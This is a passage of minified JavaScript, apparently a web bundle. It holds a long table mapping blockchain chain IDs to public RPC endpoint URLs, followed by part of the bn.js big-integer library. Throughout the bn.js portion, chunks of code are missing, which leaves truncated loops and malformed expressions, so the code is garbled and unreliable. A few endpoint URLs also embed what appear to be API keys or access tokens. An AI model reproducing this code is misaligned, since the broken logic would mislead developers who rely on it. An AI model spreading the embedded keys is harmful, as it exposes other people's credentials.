oapi.terminet.io/rpc\"],131:[\"https://tokioswift.engram.tech\",\"https://tokio-archive.engram.tech\"],137:[\"https://rpc-mainnet.maticvigil.com\",\"https://polygon-rpc.com\",\"https://rpc-mainnet.matic.network\",\"https://matic-mainnet-full-rpc.bwarelabs.com\",\"https://matic-mainnet-archive-rpc.bwarelabs.com\",\"https://polygonapi.terminet.io/rpc\",\"https://polygon-mainnet.rpcfast.com?api_key=xbhWBI1Wkguk8SNMu1bvvLurPGLXmgwYeC4S6g2H7WdwFigZSmPWVZRxrskEQwIf\",\"https://polygon-mainnet-public.unifra.io\",\"https://polygon.llamarpc.com\",\"https://endpoints.omniatech.io/v1/matic/mainnet/public\",\"https://polygon-pokt.nodies.app\",\"https://1rpc.io/matic\",\"https://polygon-bor-rpc.publicnode.com\",\"https://polygon.drpc.org\",\"https://polygon.meowrpc.com\",\"https://getblock.io/nodes/matic/\",\"https://api.stateless.solutions/polygon/v1/5850f066-209e-4e3c-a294-0757a4eb34b3\",\"https://rpc.tornadoeth.cash/polygon\"],142:[\"https://rpc.prodax.io\"],163:[\"https://node.mainnet.lightstreams.io\"],167:[\"https://node.atoshi.io\",\"https://node2.atoshi.io\",\"https://node3.atoshi.io\"],169:[\"https://pacific-rpc.manta.network/http\",\"https://1rpc.io/manta\"],186:[\"https://rpc.seelen.pro/\"],188:[\"https://mainnet.bmcchain.com/\"],195:[],199:[\"https://rpc.bittorrentchain.io/\"],200:[\"https://arbitrum.xdaichain.com\"],204:[\"https://opbnb-rpc.publicnode.com\",\"https://1rpc.io/opbnb\"],211:[],217:[\"https://rpc2.siriusnet.io\"],222:[\"https://blockchain-api-mainnet.permission.io/rpc\"],246:[\"https://rpc.energyweb.org\"],248:[\"https://oasys-mainnet.gateway.pokt.network/v1/lb/c967bd31\",\"https://oasys-mainnet-archival.gateway.pokt.network/v1/lb/c967bd31\"],250:[\"https://rpcapi.fantom.network\",\"https://rpc.ftm.tools/\",\"https://rpc.fantom.network\",\"https://rpc2.fantom.network\",\"https://rpc3.fantom.network\",\"https://endpoints.omniatech.io/v1/fantom/mainnet/public\",\"https://fantom-pokt.nodies.app\",\"https://1rpc.io/ftm\",\"https://fantom-rpc.publicnode.com\",\"https://fantom.drpc.org\"],255:[\"https://1rpc.io/kroma\"],256:[\"https://hecotestapi.terminet.io/rpc\"],258:[],262:[\"https://sur.nilin.org\"],288:[\"https://mainnet.boba.network/\",\"https://1rpc.io/boba/eth\"],300:[],311:[\"https://mainapi.omaxray.com/\"],314:[\"https://api.node.glif.io\",\"https://node.filutils.com/rpc/v1\",\"https://api.chain.love/rpc/v1\"],321:[\"https://rpc-mainnet.kcc.network\",\"https://kcc.mytokenpocket.vip\",\"https://kcc-rpc.com\"],324:[\"https://zksync.meowrpc.com\",\"https://zksync.drpc.org\",\"https://1rpc.io/zksync2-era\"],333:[],336:[\"https://rpc.shiden.astar.network:8545/\"],338:[\"https://evm-t3.cronos.org/\"],361:[\"https://eth-rpc-api.thetatoken.org/rpc\"],369:[\"https://rpc.pulsechain.com\",\"https://rpc-pulsechain.g4mm4.io\",\"https://evex.cloud/pulserpc\",\"https://pulse-s.projectpi.xyz\",\"https://pulsechain-rpc.publicnode.com\"],385:[],416:[\"https://rpc.sx.technology\"],420:[\"https://endpoints.omniatech.io/v1/op/goerli/public\",\"https://optimism-goerli-rpc.publicnode.com\"],463:[\"https://mainnet-rpc.areon.network\",\"https://mainnet-rpc2.areon.network\",\"https://mainnet-rpc3.areon.network\",\"https://mainnet-rpc4.areon.network\",\"https://mainnet-rpc5.areon.network\"],499:[],512:[\"https://rpc.acuteangle.com\"],530:[\"https://fx-json-web3.portfolio-x.xyz:8545/\"],555:[\"https://rpc.velaverse.io\"],558:[\"https://rpc.tao.network\"],570:[\"https://rpc.rollux.com\",\"https://rollux.rpc.syscoin.org\"],592:[\"https://evm.astar.network/\",\"https://rpc.astar.network:8545\",\"https://getblock.io/nodes/bsc/\",\"https://1rpc.io/astr\"],595:[],686:[\"https://eth-rpc-karura.aca-staging.network\",\"https://rpc.evm.karura.network\"],707:[],777:[\"https://node.cheapeth.org/rpc\"],787:[\"https://eth-rpc-acala.aca-staging.network\",\"https://rpc.evm.acala.network\"],803:[],813:[\"https://mainnet.meerlabs.com\"],820:[\"https://rpc.callisto.network\",\"https://clo-geth.0xinfra.com/\"],880:[],888:[\"https://gwan-ssl.wandevs.org:56891\",\"https://gwan2-ssl.wandevs.org\"],943:[\"https://pulsetest-s.projectpi.xyz\",\"https://pulsechain-testnet-rpc.publicnode.com\"],977:[],998:[],1001:[\"https://public-en-baobab.klaytn.net\"],1003:[],1010:[\"https://meta.evrice.com\"],1012:[\"https://global.rpc.mainnet.newtonproject.org\"],1022:[],1024:[\"https://api-para.clover.finance\"],1030:[\"https://evm.confluxrpc.com\",\"https://conflux-espace-public.unifra.io\"],1072:[\"https://json-rpc.evm.testnet.shimmer.network/\"],1088:[\"https://andromeda.metis.io/?owner=1088\",\"https://metis-pokt.nodies.app\"],1089:[\"https://humans-mainnet-evm.itrocket.net\"],1100:[\"https://jsonrpc.dymension.nodestake.org\",\"https://evm-archive.dymd.bitszn.com\",\"https://dymension.liquify.com/json-rpc\",\"https://dymension-evm.kynraze.com\"],1101:[\"https://1rpc.io/polygon/zkevm\",\"https://polygon-zkevm.drpc.org\"],1115:[\"https://rpc.test.btcs.network\"],1116:[\"https://rpc.coredao.org\",\"https://core.public.infstones.com\",\"https://1rpc.io/core\"],1130:[\"https://dmc.mydefichain.com/mainnet\",\"https://dmc01.mydefichain.com/mainnet\"],1131:[\"https://dmc.mydefichain.com/testnet\",\"https://dmc01.mydefichain.com/testnet\",\"https://eth.testnet.ocean.jellyfishsdk.com/\"],1139:[\"https://mathchain.maiziqianbao.net/rpc\"],1197:[],1202:[],1213:[\"https://dataseed.popcateum.org\"],1214:[],1231:[\"https://ultron-rpc.net\"],1246:[\"https://rpc-cnx.omplatform.com\"],1280:[\"https://nodes.halo.land\"],1284:[\"https://rpc.api.moonbeam.network\",\"https://1rpc.io/glmr\",\"https://endpoints.omniatech.io/v1/moonbeam/mainnet/public\",\"https://moonbeam-rpc.publicnode.com\"],1285:[\"https://moonriver-rpc.publicnode.com\"],1287:[\"https://rpc.testnet.moonbeam.network\"],1288:[],1338:[\"https://rpc.atlantischain.network/\"],1339:[\"https://rpc.elysiumchain.tech/\",\"https://rpc.elysiumchain.us/\"],1440:[],1442:[],1501:[\"https://rpc-canary-1.bevm.io/\",\"https://rpc-canary-2.bevm.io/\"],1506:[\"https://mainnet.sherpax.io/rpc\"],1515:[\"https://beagle.chat/eth\"],1618:[\"https://send.catechain.com\"],1620:[],1657:[\"https://dataseed1.btachain.com/\"],1707:[\"https://rpc.blockchain.or.th\"],1708:[\"https://rpc.testnet.blockchain.or.th\"],1856:[],1881:[\"https://rpc.cartenz.works\"],1972:[\"https://rpc2.redecoin.eu\"],1975:[\"https://rpc.onuschain.io\"],1987:[],2e3:[\"https://rpc.dogechain.dog\",\"https://rpc-us.dogechain.dog\",\"https://rpc-sg.dogechain.dog\",\"https://rpc.dogechain.dog\",\"https://rpc01-sg.dogechain.dog\",\"https://rpc02-sg.dogechain.dog\",\"https://rpc03-sg.dogechain.dog\"],2016:[\"https://eu-rpc.mainnetz.io\"],2021:[\"https://mainnet2.edgewa.re/evm\",\"https://mainnet3.edgewa.re/evm\",\"https://edgeware-evm.jelliedowl.net/\"],2025:[\"https://mainnet.rangersprotocol.com/api/jsonrpc\"],2049:[\"https://msc-rpc.movoscan.com/\"],2077:[],2100:[\"https://api.ecoball.org/ecoball/\"],2213:[\"https://seed4.evanesco.org:8546\"],2222:[\"https://evm.kava.io\",\"https://kava-evm-rpc.publicnode.com\",\"https://kava-pokt.nodies.app\"],2323:[],2332:[],2458:[],2468:[],2559:[],2612:[\"https://api.ezchain.com/ext/bc/C/rpc\"],3501:[\"https://rpc.jfinchain.com\"],3639:[\"https://rpc.ichainscan.com\"],3690:[],4002:[\"https://rpc.testnet.fantom.network/\",\"https://endpoints.omniatech.io/v1/fantom/testnet/public\",\"https://fantom-testnet-rpc.publicnode.com\"],4139:[\"https://humans-testnet-evm.itrocket.net\"],4181:[\"https://rpc1.phi.network\"],4444:[\"https://janus.htmlcoin.dev/janus/\"],4689:[\"https://babel-api.mainnet.iotex.io\",\"https://babel-api.mainnet.iotex.one\",\"https://babel-api.fastblocks.io\"],5e3:[\"https://mantle-rpc.publicnode.com\",\"https://mantle.drpc.org\",\"https://1rpc.io/mantle\"],5050:[\"https://rpc.liquidchain.net/\",\"https://rpc.xlcscan.com/\"],5165:[\"https://bahamut-rpc.publicnode.com\"],5177:[],5197:[\"https://mainnet.eraswap.network\"],5315:[],5551:[\"https://l2.nahmii.io/\"],5700:[\"https://rollux.rpc.tanenbaum.io\",\"https://syscoin-tanenbaum-evm-rpc.publicnode.com\"],5729:[\"https://rpc-testnet.hika.network\"],5869:[\"https://proxy.wegochain.io\"],6363:[\"https://dsc-rpc.digitsoul.co.th\"],6626:[\"https://http-mainnet.chain.pixie.xyz\"],6688:[\"https://iris-evm-rpc.publicnode.com\"],7e3:[\"https://zeta.rpcgrid.com\"],7001:[],7070:[\"https://planq-rpc.nodies.app\",\"https://jsonrpc.planq.nodestake.top/\"],7341:[\"https://rpc.shyft.network/\"],7700:[\"https://canto.gravitychain.io/\",\"https://canto.evm.chandrastation.com/\",\"https://jsonrpc.canto.nodestake.top/\",\"https://canto.dexvaults.com/\",\"https://canto-rpc.ansybl.io\"],7777:[\"https://testnet1.rotw.games\",\"https://testnet2.rotw.games\",\"https://testnet3.rotw.games\",\"https://testnet4.rotw.games\",\"https://testnet5.rotw.games\"],7895:[],8e3:[\"https://dataseed.testnet.teleport.network\"],8081:[],8082:[],8131:[\"https://testnet.meerlabs.com\"],8217:[\"https://public-en-cypress.klaytn.net\",\"https://1rpc.io/klay\",\"https://klaytn-pokt.nodies.app\",\"https://klaytn.drpc.org\"],8453:[\"https://mainnet.base.org\",\"https://developer-access-mainnet.base.org\",\"https://rpc.notadegen.com/base\",\"https://base.llamarpc.com\",\"https://1rpc.io/base\",\"https://base-pokt.nodies.app\",\"https://base.meowrpc.com\",\"https://base-rpc.publicnode.com\",\"https://base.drpc.org\",\"https://endpoints.omniatech.io/v1/base/mainnet/public\"],8899:[\"https://rpc-l1.jibchain.net\",\"https://jib-rpc.inan.in.th\",\"https://rpc-l1.jbc.aomwara.in.th\",\"https://rpc-l1.jbc.xpool.pw\"],8995:[\"https://core.bloxberg.org\"],9e3:[\"https://evmos-testnet-json.qubelabs.io\",\"https://evmos-tjson.antrixy.org\",\"https://evmos-testnet-rpc.kingsuper.services\",\"https://rpc.evmos.test.theamsolutions.info\",\"https://api.evmos-test.theamsolutions.info\",\"https://rpc.evmos.testnet.node75.org\",\"https://rpc-evm.testnet.evmos.dragonstake.io\",\"https://evmos-testnet-rpc.stake-town.com\",\"https://evmos-testnet-jsonrpc.stake-town.com\",\"https://api.evmos-test.theamsolutions.info\",\"https://jsonrpc-t.evmos.nodestake.top\",\"https://evmos-testnet-jsonrpc.autostake.com\",\"https://evmos-testnet-jsonrpc.alkadeta.com\",\"https://evm-rpc.evmost.silentvalidator.com\",\"https://testnet-evm-rpc-evmos.hoodrun.io\",\"https://alphab.ai/rpc/eth/evmos_testnet\",\"https://t-evmos-jsonrpc.kalia.network\",\"https://jsonrpc-evmos-testnet.mzonder.com\",\"https://evmos-testnet.lava.build/lava-referer-16223de7-12c0-49f3-8d87-e5f1e6a0eb3b\"],9001:[\"https://jsonrpc-evmos.goldenratiostaking.net\",\"https://eth.bd.evmos.org:8545/\",\"https://evmos-json-rpc.stakely.io\",\"https://jsonrpc-evmos-ia.cosmosia.notional.ventures\",\"https://json-rpc.evmos.blockhunters.org\",\"https://evmos-json-rpc.agoranodes.com\",\"https://evmos-json.antrixy.org\",\"https://jsonrpc.evmos.nodestake.top\",\"https://evmos-jsonrpc.alkadeta.com\",\"https://evmos-json.qubelabs.io\",\"https://evmos-rpc.theamsolutions.info\",\"https://evmos-api.theamsolutions.info\",\"https://evmos-jsonrpc.theamsolutions.info\",\"https://evm-rpc-evmos.hoodrun.io\",\"https://evmos-json-rpc.0base.dev\",\"https://json-rpc.evmos.tcnetwork.io\",\"https://rpc-evm.evmos.dragonstake.io\",\"https://evmosevm.rpc.stakin-nodes.com\",\"https://evmos-jsonrpc.stake-town.com\",\"https://json-rpc-evmos.mainnet.validatrium.club\",\"https://rpc-evmos.imperator.co\",\"https://evm-rpc.evmos.silentvalidator.com\",\"https://alphab.ai/rpc/eth/evmos\",\"https://evmos-jsonrpc.kalia.network\",\"https://jsonrpc-evmos.mzonder.com\",\"https://evmos-pokt.nodies.app\",\"https://evmos-evm-rpc.publicnode.com\"],9100:[],1e4:[\"https://smartbch.fountainhead.cash/mainnet\",\"https://global.uat.cash\",\"https://rpc.uatvo.com\"],10086:[],10101:[\"https://eu.mainnet.xixoio.com\"],10200:[\"https://rpc.chiadochain.net\",\"https://gnosis-chiado-rpc.publicnode.com\",\"https://1rpc.io/gnosis\"],10248:[],11111:[\"https://api.trywagmi.xyz/rpc\"],11235:[\"https://haqq-evm-rpc.publicnode.com\"],12052:[\"https://zerorpc.singularity.gold\"],13e3:[\"https://rpc.ssquad.games\"],13381:[\"https://rpc.phoenixplorer.com/\"],15551:[],15557:[],16e3:[],17e3:[\"https://ethereum-holesky-rpc.publicnode.com\",\"https://1rpc.io/holesky\",\"https://holesky-rpc.nocturnode.tech\"],17777:[],18159:[\"https://mainnet-rpc.memescan.io/\",\"https://mainnet-rpc2.memescan.io/\",\"https://mainnet-rpc3.memescan.io/\",\"https://mainnet-rpc4.memescan.io/\"],19845:[],21816:[\"https://seed.omlira.com\"],23294:[\"https://1rpc.io/oasis/sapphire\"],24484:[],24734:[\"https://node1.mintme.com\"],31102:[],32520:[\"https://rpc.icecreamswap.com\",\"https://nodes.vefinetwork.org/bitgert\",\"https://flux-rpc.brisescan.com\",\"https://flux-rpc1.brisescan.com\",\"https://flux-rpc2.brisescan.com\",\"https://rpc-1.chainrpc.com\",\"https://rpc-2.chainrpc.com\",\"https://node1.serverrpc.com\",\"https://node2.serverrpc.com\"],32659:[\"https://mainnet.fusionnetwork.io\"],34443:[\"https://1rpc.io/mode\"],35011:[],35441:[],39797:[\"https://nodeapi.energi.network\",\"https://explorer.energi.network/api/eth-rpc\"],39815:[\"https://mainnet.oho.ai\",\"https://mainnet-rpc.ohoscan.com\",\"https://mainnet-rpc2.ohoscan.com\"],42069:[],42161:[\"https://arb1.arbitrum.io/rpc\",\"https://arbitrum.llamarpc.com\",\"https://1rpc.io/arb\",\"https://arb-pokt.nodies.app\",\"https://endpoints.omniatech.io/v1/arbitrum/one/public\",\"https://arbitrum-one-rpc.publicnode.com\",\"https://arbitrum.meowrpc.com\",\"https://arbitrum.drpc.org\",\"https://rpc.tornadoeth.cash/arbitrum\"],42170:[\"https://nova.arbitrum.io/rpc\",\"https://arbitrum-nova-rpc.publicnode.com\",\"https://arbitrum-nova.drpc.org\"],42220:[\"https://forno.celo.org\",\"https://1rpc.io/celo\"],42262:[\"https://emerald.oasis.dev/\",\"https://1rpc.io/oasis/emerald\"],43110:[],43113:[\"https://api.avax-test.network/ext/bc/C/rpc\",\"https://avalanchetestapi.terminet.io/ext/bc/C/rpc\",\"https://endpoints.omniatech.io/v1/avax/fuji/public\",\"https://avalanche-fuji-c-chain-rpc.publicnode.com\"],43114:[\"https://api.avax.network/ext/bc/C/rpc\",\"https://avalanche.public-rpc.com\",\"https://avalancheapi.terminet.io/ext/bc/C/rpc\",\"https://avalanche-c-chain-rpc.publicnode.com\",\"https://1rpc.io/avax/c\",\"https://avax-pokt.nodies.app/ext/bc/C/rpc\",\"https://endpoints.omniatech.io/v1/avax/mainnet/public\",\"https://avax.meowrpc.com\",\"https://avalanche.drpc.org\",\"https://rpc.tornadoeth.cash/avax\"],45e3:[\"https://rpc.autobahn.network\"],47805:[\"https://rpc.rei.network\"],50001:[\"https://rpc.oracle.liveplex.io\"],53935:[\"https://avax-pokt.nodies.app/ext/bc/q2aTwKuyzgs8pynF7UXBZCU7DejbZbZ6EUyHr3JQzYgwNPUPi/rpc\"],55555:[\"https://rei-rpc.moonrhythm.io\"],59140:[],59144:[\"https://1rpc.io/linea\",\"https://linea.drpc.org\",\"https://linea.decubate.com\"],63e3:[\"https://rpc.ecredits.com\"],7e4:[],70001:[\"https://proxy1.thinkiumrpc.net/\"],70002:[\"https://proxy2.thinkiumrpc.net/\"],70103:[\"https://proxy103.thinkiumrpc.net/\"],71394:[\"https://mainnet.godwoken.io/rpc/eth-wallet\"],80001:[\"https://rpc-mumbai.maticvigil.com\",\"https://polygontestapi.terminet.io/rpc\",\"https://endpoints.omniatech.io/v1/matic/mumbai/public\",\"https://polygon-mumbai-bor-rpc.publicnode.com\",\"https://polygon-mumbai-pokt.nodies.app\"],81457:[\"https://rpc.blast.io\",\"https://blast.din.dev/rpc\",\"https://blastl2-mainnet.public.blastapi.io\",\"https://blast.blockpi.network/v1/rpc/public\"],84531:[\"https://1rpc.io/base-goerli\",\"https://base-goerli-rpc.publicnode.com\",\"https://endpoints.omniatech.io/v1/base/goerli/public\"],84532:[\"https://rpc.notadegen.com/base/sepolia\"],99999:[\"https://rpc.uschain.network\"],1e5:[],100001:[],100002:[],100003:[],100004:[],100005:[],100006:[],100007:[],100008:[],103090:[\"https://evm.cryptocurrencydevs.org\",\"https://rpc.crystaleum.org\"],108801:[],11e4:[],110001:[],110002:[],110003:[],110004:[],110005:[],110006:[],110007:[],110008:[],142857:[],167008:[],200625:[\"https://boot2.akroma.org/\"],201018:[\"https://openapi.alaya.network/rpc\"],210425:[],246529:[],256256:[\"https://mainnet.block.caduceus.foundation\"],281121:[],314159:[],333999:[\"https://rpc.polis.tech\"],363636:[\"https://dgs-rpc.digitsoul.co.th\"],420420:[\"https://mainnet.kekchain.com\",\"https://rpc2.kekchain.com\",\"https://kek.interchained.org\",\"https://kekchain.interchained.org\"],420666:[\"https://testnet.kekchain.com\"],421613:[\"https://endpoints.omniatech.io/v1/arbitrum/goerli/public\",\"https://arbitrum-goerli-rpc.publicnode.com\",\"https://api.stateless.solutions/arbitrum-one/v1/77abba85-53e4-4430-a332-a46deb9900ea\"],421614:[],431140:[\"https://rpc.markr.io/ext/\"],512512:[\"https://galaxy.block.caduceus.foundation\"],534351:[\"https://scroll-sepolia.drpc.org\",\"https://scroll-testnet.rpc.grove.city/v1/a7a7c8e2\"],534352:[\"https://rpc.scroll.io\",\"https://rpc-scroll.icecreamswap.com\",\"https://1rpc.io/scroll\",\"https://scroll.drpc.org\",\"https://scroll-mainnet.rpc.grove.city/v1/a7a7c8e2\"],534353:[],534354:[\"https://prealpha-rpc.scroll.io/l2\"],827431:[\"https://mainnet-rpc.curvescan.io\"],888888:[\"https://infragrid.v.network/ethereum/compatible\"],9e5:[\"https://api.posichain.org\",\"https://api.s0.posichain.org\"],955305:[\"https://host-76-74-28-226.contentfabric.io/eth/\"],1313114:[\"https://rpc.ethoprotocol.com\"],1313500:[\"https://rpc.xerom.org\"],2099156:[\"https://mainnet.plian.io/pchain\"],7762959:[],8007736:[\"https://mainnet.plian.io/child_0\"],10067275:[\"https://testnet.plian.io/child_test\"],11155111:[\"https://rpc.notadegen.com/eth/sepolia\",\"https://endpoints.omniatech.io/v1/eth/sepolia/public\",\"https://ethereum-sepolia-rpc.publicnode.com\",\"https://1rpc.io/sepolia\"],11155420:[],13371337:[],16658437:[\"https://testnet.plian.io/testnet\"],18289463:[],20181205:[\"https://hz.rpc.qkiscan.cn\",\"https://rpc1.qkiscan.cn\",\"https://rpc2.qkiscan.cn\",\"https://rpc3.qkiscan.cn\",\"https://rpc1.qkiscan.io\",\"https://rpc2.qkiscan.io\",\"https://rpc3.qkiscan.io\"],28945486:[],35855456:[\"https://node.joys.digital\"],61717561:[\"https://c.onical.org\"],88888888:[\"https://rpc.teamblockchain.team\"],168587773:[],192837465:[\"https://mainnet.gather.network\"],245022926:[\"https://devnet.neonevm.org\"],245022934:[\"https://neon-proxy-mainnet.solana.p2p.org\",\"https://neon-mainnet.everstake.one\"],311752642:[\"https://mainnet-rpc.oneledger.network\"],356256156:[\"https://testnet.gather.network\"],486217935:[\"https://devnet.gather.network\"],1122334455:[],1313161554:[\"https://mainnet.aurora.dev\",\"https://endpoints.omniatech.io/v1/aurora/mainnet/public\",\"https://1rpc.io/aurora\",\"https://aurora.drpc.org\"],1313161555:[\"https://endpoints.omniatech.io/v1/aurora/testnet/public\"],1313161556:[],16666e5:[\"https://api.harmony.one\",\"https://a.api.s0.t.hmny.io\",\"https://api.s0.t.hmny.io\",\"https://1rpc.io/one\",\"https://hmyone-pokt.nodies.app\",\"https://endpoints.omniatech.io/v1/harmony/mainnet-0/public\"],1666600001:[\"https://s1.api.harmony.one\"],1666600002:[\"https://s2.api.harmony.one\"],1666600003:[],16667e5:[\"https://endpoints.omniatech.io/v1/harmony/testnet-0/public\"],2021121117:[],3125659152:[],11297108109:[],836542336838601:[],11297108099:[],197710212030:[\"https://rpc.ntity.io\"],6022140761023:[\"https://molereum.jdubedition.com\"]}}}),ol=rl({\"(disabled):buffer\"(){Al(),il()}}),sl=rl({\"node_modules/bn.js/lib/bn.js\"(t,e){Al(),il(),function(t,e){function r(t,e){if(!t)throw new Error(e||\"Assertion failed\")}function n(t,e){t.super_=e;var r=function(){};r.prototype=e.prototype,t.prototype=new r,t.prototype.constructor=t}function A(t,e,r){if(A.isBN(t))return t;this.negative=0,this.words=null,this.length=0,this.red=null,null!==t&&(\"le\"!==e&&\"be\"!==e||(r=e,e=10),this._init(t||0,e||10,r||\"be\"))}var i;\"object\"==typeof t?t.exports=A:e.BN=A,A.BN=A,A.wordSize=26;try{i=\"undefined\"!=typeof window&&void 0!==window.Buffer?window.Buffer:ol().Buffer}catch(t){}function o(t,e){var n=t.charCodeAt(e);return n>=48&&n<=57?n-48:n>=65&&n<=70?n-55:n>=97&&n<=102?n-87:void r(!1,\"Invalid character in \"+t)}function s(t,e,r){var n=o(t,r);return r-1>=e&&(n|=o(t,r-1)<<4),n}function a(t,e,n,A){for(var i=0,o=0,s=Math.min(t.length,n),a=e;a=49?c-49+10:c>=17?c-17+10:c,r(c>=0&&o0?t:e},A.min=function(t,e){return t.cmp(e)<0?t:e},A.prototype._init=function(t,e,n){if(\"number\"==typeof t)return this._initNumber(t,e,n);if(\"object\"==typeof t)return this._initArray(t,e,n);\"hex\"===e&&(e=16),r(e===(0|e)&&e>=2&&e<=36);var A=0;\"-\"===(t=t.toString().replace(/\\s+/g,\"\"))[0]&&(A++,this.negative=1),A=0;A-=3)o=t[A]|t[A-1]<<8|t[A-2]<<16,this.words[i]|=o<>>26-s&67108863,(s+=24)>=26&&(s-=26,i++);else if(\"le\"===n)for(A=0,i=0;A>>26-s&67108863,(s+=24)>=26&&(s-=26,i++);return this._strip()},A.prototype._parseHex=function(t,e,r){this.length=Math.ceil((t.length-e)/6),this.words=new Array(this.length);for(var n=0;n=e;n-=2)A=s(t,e,n)<=18?(i-=18,o+=1,this.words[o]|=A>>>26):i+=8;else for(n=(t.length-e)%2==0?e+1:e;n=18?(i-=18,o+=1,this.words[o]|=A>>>26):i+=8;this._strip()},A.prototype._parseBase=function(t,e,r){this.words=[0],this.length=1;for(var n=0,A=1;A<=67108863;A*=e)n++;n--,A=A/e|0;for(var i=t.length-r,o=i%n,s=Math.min(i,i-o)+r,c=0,h=r;h1&&0===this.words[this.length-1];)this.length--;return this._normSign()},A.prototype._normSign=function(){return 1===this.length&&0===this.words[0]&&(this.negative=0),this},\"undefined\"!=typeof Symbol&&\"function\"==typeof Symbol.for)try{A.prototype[Symbol.for(\"nodejs.util.inspect.custom\")]=h}catch(t){A.prototype.inspect=h}else A.prototype.inspect=h;function h(){return(this.red?\"\"}var g=[\"\",\"0\",\"00\",\"000\",\"0000\",\"00000\",\"000000\",\"0000000\",\"00000000\",\"000000000\",\"0000000000\",\"00000000000\",\"000000000000\",\"0000000000000\",\"00000000000000\",\"000000000000000\",\"0000000000000000\",\"00000000000000000\",\"000000000000000000\",\"0000000000000000000\",\"00000000000000000000\",\"000000000000000000000\",\"0000000000000000000000\",\"00000000000000000000000\",\"000000000000000000000000\",\"0000000000000000000000000\"],u=[0,0,25,16,12,11,10,9,8,8,7,7,7,7,6,6,6,6,6,6,6,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5],l=[0,0,33554432,43046721,16777216,48828125,60466176,40353607,16777216,43046721,1e7,19487171,35831808,62748517,7529536,11390625,16777216,24137569,34012224,47045881,64e6,4084101,5153632,6436343,7962624,9765625,11881376,14348907,17210368,20511149,243e5,28629151,33554432,39135393,45435424,52521875,60466176];A.prototype.toString=function(t,e){var n;if(e=0|e||1,16===(t=t||10)||\"hex\"===t){n=\"\";for(var A=0,i=0,o=0;o>>24-A&16777215,(A+=2)>=26&&(A-=26,o--),n=0!==i||o!==this.length-1?g[6-a.length]+a+n:a+n}for(0!==i&&(n=i.toString(16)+n);n.length%e!=0;)n=\"0\"+n;return 0!==this.negative&&(n=\"-\"+n),n}if(t===(0|t)&&t>=2&&t<=36){var c=u[t],h=l[t];n=\"\";var f=this.clone();for(f.negative=0;!f.isZero();){var p=f.modrn(h).toString(t);n=(f=f.idivn(h)).isZero()?p+n:g[c-p.length]+p+n}for(this.isZero()&&(n=\"0\"+n);n.length%e!=0;)n=\"0\"+n;return 0!==this.negative&&(n=\"-\"+n),n}r(!1,\"Base should be between 2 and 36\")},A.prototype.toNumber=function(){var t=this.words[0];return 2===this.length?t+=67108864*this.words[1]:3===this.length&&1===this.words[2]?t+=4503599627370496+67108864*this.words[1]:this.length>2&&r(!1,\"Number can only safely store up to 53 bits\"),0!==this.negative?-t:t},A.prototype.toJSON=function(){return this.toString(16,2)},i&&(A.prototype.toBuffer=function(t,e){return this.toArrayLike(i,t,e)}),A.prototype.toArray=function(t,e){return this.toArrayLike(Array,t,e)};function f(t,e,r){r.negative=e.negative^t.negative;var n=t.length+e.length|0;r.length=n,n=n-1|0;var A=0|t.words[0],i=0|e.words[0],o=A*i,s=67108863&o,a=o/67108864|0;r.words[0]=s;for(var c=1;c>>26,g=67108863&a,u=Math.min(c,e.length-1),l=Math.max(0,c-t.length+1);l<=u;l++){var f=c-l|0;h+=(o=(A=0|t.words[f])*(i=0|e.words[l])+g)/67108864|0,g=67108863&o}r.words[c]=0|g,a=0|h}return 0!==a?r.words[c]=0|a:r.length--,r._strip()}A.prototype.toArrayLike=function(t,e,n){this._strip();var A=this.byteLength(),i=n||Math.max(1,A);r(A<=i,\"byte array longer than desired length\"),r(i>0,\"Requested array length <= 0\");var o=function(t,e){return t.allocUnsafe?t.allocUnsafe(e):new t(e)}(t,i);return this[\"_toArrayLike\"+(\"le\"===e?\"LE\":\"BE\")](o,A),o},A.prototype._toArrayLikeLE=function(t,e){for(var r=0,n=0,A=0,i=0;A>8&255),r>16&255),6===i?(r>24&255),n=0,i=0):(n=o>>>24,i+=2)}if(r=0&&(t[r--]=o>>8&255),r>=0&&(t[r--]=o>>16&255),6===i?(r>=0&&(t[r--]=o>>24&255),n=0,i=0):(n=o>>>24,i+=2)}if(r>=0)for(t[r--]=n;r>=0;)t[r--]=0},Math.clz32?A.prototype._countBits=function(t){return 32-Math.clz32(t)}:A.prototype._countBits=function(t){var e=t,r=0;return e>=4096&&(r+=13,e>>>=13),e>=64&&(r+=7,e>>>=7),e>=8&&(r+=4,e>>>=4),e>=2&&(r+=2,e>>>=2),r+e},A.prototype._zeroBits=function(t){if(0===t)return 26;var e=t,r=0;return 8191&e||(r+=13,e>>>=13),127&e||(r+=7,e>>>=7),15&e||(r+=4,e>>>=4),3&e||(r+=2,e>>>=2),1&e||r++,r},A.prototype.bitLength=function(){var t=this.words[this.length-1],e=this._countBits(t);return 26*(this.length-1)+e},A.prototype.zeroBits=function(){if(this.isZero())return 0;for(var t=0,e=0;et.length?this.clone().ior(t):t.clone().ior(this)},A.prototype.uor=function(t){return this.length>t.length?this.clone().iuor(t):t.clone().iuor(this)},A.prototype.iuand=function(t){var e;e=this.length>t.length?t:this;for(var r=0;rt.length?this.clone().iand(t):t.clone().iand(this)},A.prototype.uand=function(t){return this.length>t.length?this.clone().iuand(t):t.clone().iuand(this)},A.prototype.iuxor=function(t){var e,r;this.length>t.length?(e=this,r=t):(e=t,r=this);for(var n=0;nt.length?this.clone().ixor(t):t.clone().ixor(this)},A.prototype.uxor=function(t){return this.length>t.length?this.clone().iuxor(t):t.clone().iuxor(this)},A.prototype.inotn=function(t){r(\"number\"==typeof t&&t>=0);var e=0|Math.ceil(t/26),n=t%26;this._expand(e),n>0&&e--;for(var A=0;A0&&(this.words[A]=~this.words[A]&67108863>>26-n),this._strip()},A.prototype.notn=function(t){return this.clone().inotn(t)},A.prototype.setn=function(t,e){r(\"number\"==typeof t&&t>=0);var n=t/26|0,A=t%26;return this._expand(n+1),this.words[n]=e?this.words[n]|1<t.length?(r=this,n=t):(r=t,n=this);for(var A=0,i=0;i>>26;for(;0!==A&&i>>26;if(this.length=r.length,0!==A)this.words[this.length]=A,this.length++;else if(r!==this)for(;it.length?this.clone().iadd(t):t.clone().iadd(this)},A.prototype.isub=function(t){if(0!==t.negative){t.negative=0;var e=this.iadd(t);return t.negative=1,e._normSign()}if(0!==this.negative)return this.negative=0,this.iadd(t),this.negative=1,this._normSign();var r,n,A=this.cmp(t);if(0===A)return this.negative=0,this.length=1,this.words[0]=0,this;A>0?(r=this,n=t):(r=t,n=this);for(var 